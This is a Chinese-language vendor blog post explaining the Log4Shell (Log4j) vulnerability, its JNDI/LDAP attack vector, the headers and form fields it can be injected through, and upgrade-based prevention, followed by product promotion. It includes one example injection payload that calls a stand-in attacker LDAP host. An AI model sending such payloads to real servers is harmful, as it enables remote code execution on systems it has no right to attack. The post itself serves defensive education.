博客

Log4j 漏洞详解:攻击向量及预防措施

January 16, 2022
Laura Verheyde
像素风格的电脑屏幕,光标手势指向带有盾牌图标的“安全”一词。

12 月 9 日,Java 库 Log4j 中披露了一个 0-day 漏洞。CVE-44228 被称为 Log4Shell,由于该漏洞可能导致远程代码执行(RCE),因此被评为“高危”级别。此外,log4j-core 是最常用的 Java 日志库之一,这使得数百万个应用程序面临风险。

想要快速提升您应对 Log4Shell 的技能吗?

我们构建了一个演示项目,带您从 Log4Shell 的基本概念出发,通过名为“任务”的模拟器亲身体验该漏洞的利用过程。在此任务中,我们将引导您了解 Log4j 漏洞如何影响您的基础设施和应用程序。点击此处立即进入演示,或继续阅读以详细了解该漏洞。

老生常谈?

这种攻击方式并不新鲜。早在 2016 年的 BlackHat 大会上,安全研究人员 Alvaro Muñoz 和 Oleksandr Mirosh 就强调过“应用程序不应使用不受信任的数据执行 JNDI 查询”,并演示了针对性的 JNDI/LDAP 注入如何导致远程代码执行。而这正是 Log4Shell 的核心所在。

攻击向量

Log4Shell 的注入载荷如下所示:

${jndi:ldap://attacker.host/xyz}

要理解这一点,我们需要了解 Java 的表达式语言 (EL)。以下语法编写的表达式:${expr} 将在运行时进行求值。例如,${java:version} 将返回当前使用的 Java 版本。

接下来是 JNDI,即 Java 命名和目录接口,它是一个允许通过 LDAP、DNS、RMI 等协议连接服务以检索数据或资源的 API。简而言之,在我们上面的恶意载荷示例中,JNDI 会对攻击者控制的 LDAP 服务器执行查询。其响应可以指向包含恶意代码的 Java 类文件,该文件随后会在受攻击的服务器上执行。

该漏洞之所以如此严重,是因为 Log4j 会评估所有日志条目,并会对所有以“jndi”为前缀的 EL 语法编写的已记录用户输入执行查询。该载荷可以注入到用户输入数据的任何位置,例如表单字段。此外,HTTP 标头(如 User-Agent 和 X-Forwarded-For 等)也可以被篡改以携带该载荷。

若要亲自体验该漏洞,请前往我们的演示页面并进入第 2 步 - “体验影响”。

预防:提高意识

升级是所有应用程序的推荐操作,因为 Log4j 团队一直在修补漏洞代码。然而,2.15.0 和 2.16.0 版本包含 DDoS 及其他漏洞,因此截至 12 月下旬,建议升级至 2.17.0 版本。

作为编写代码的开发人员,我们需要时刻考虑安全性。Log4Shell 告诉我们,使用第三方框架或库存在风险。我们需要意识到,应用程序的安全性可能会因使用我们天真地认为安全的外部资源而受到威胁。

这个漏洞可以预防吗?答案是肯定的,也是否定的。一方面,由于漏洞组件是通过第三方软件引入的,开发人员能做的有限。另一方面,从中吸取的教训是反复被强调的:永远不要信任用户输入。

Secure Code Warrior 坚信,培养具备安全意识的开发人员是预防代码漏洞的最佳途径。得益于 SCW 提供的大规模编程框架专项培训,企业客户能够利用报告数据快速定位受影响的 Java 开发人员,并依靠经 SCW 培训的安全专家加速 Log4j 的升级工作。

针对 Java 开发人员,Secure Code Warrior 特别提供了免费的 IntelliJ 插件 Sensei。这款基于规则的代码分析工具可用于强制执行编码规范,并预防和修复漏洞。您可以创建自定义规则,或使用我们现成的 代码库。浏览我们的 方案,并记得下载我们的 Log4j 代码库,它将助您快速定位并修复 Log4Shell 漏洞。

提升您的技能,从容应对 Log4Shell

想将博文中学到的知识付诸实践吗?我们的演示环节可以为您提供帮助。在演示开始时,您将快速回顾该漏洞,随后进入模拟环境,在引导下亲手尝试漏洞利用过程。

‍

标语

在 AI 驱动的开发成果发布前实现有效治理

评估 AI 辅助风险,在提交代码时强制执行安全编码策略,并加速整个软件开发生命周期的安全交付。

预约演示
资源库

探索更多博客

获取有关安全编码、人工智能治理和软件风险管理的专家内容。

浏览全部
案例研究
筛选标签
这是 div 块中的一段文本。

Supercharged Security Awareness: How Tournaments are Inspiring Developers at Erste Group

Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse varius enim in eros elementum tristique. Duis cursus, mi quis viverra ornare, eros dolor interdum nulla, ut commodo diam libero vitae erat. Aenean faucibus nibh et justo cursus id rutrum lorem imperdiet. Nunc ut sem vitae risus tristique posuere.

了解更多
案例研究
筛选标签
这是 div 块中的一段文本。

Security as culture: How Blue Prism cultivates world-class secure developers

Learn how Blue Prism, the global leader in intelligent automation for the enterprise, used Secure Code Warrior's agile learning platform to create a security-first culture with their developers, achieve their business goals, and ship secure code at speed

了解更多
案例研究
筛选标签
这是 div 块中的一段文本。

统一的安全文化:Sage 如何打造其安全倡导者项目

了解 Sage 如何通过灵活且以关系为导向的方法提升安全性,成功培养了 200 多名安全倡导者,并实现了显著的风险降低。

了解更多
博客
筛选标签
这是 div 块中的一段文本。

2026年网络安全意识月:理解人工智能安全对企业防御至关重要

目前,大多数顶级人工智能公司已公开呼吁全球放缓人工智能的发展速度,以便安全防护措施能够跟上步伐。然而事实是,严重的安全问题已经显现。随着人工智能实施带来的经济成本和风险不断累积,无数安全领导者和高管团队正处于紧迫的境地。

了解更多
博客
筛选标签
这是 div 块中的一段文本。

赋能要素 8:打造项目品牌

成功的安全编码项目不仅需要优质的内容。赋能要素 8 展示了如何通过品牌化将参与过程转变为一种令人向往、以地位为驱动的体验。

了解更多
博客
筛选标签
这是 div 块中的一段文本。

每一位员工现在都处于 AI 网络安全的最前线

企业技术格局正以一种鲜有人预料到的速度发生剧变,直到为时已晚。我们已正式跨越了从人工编写代码和基础辅助编程,进入“智能体开发生命周期”(ADLC)的时代。虽然自主 AI 智能体有望在多个职能领域实现前所未有的效率,但它们也带来了全新的安全和监管风险。

了解更多

在产品发布前确保 AI 驱动的开发安全

洞察开发风险,执行安全策略,并在整个软件开发生命周期中预防漏洞。

预约演示
未找到相关项目。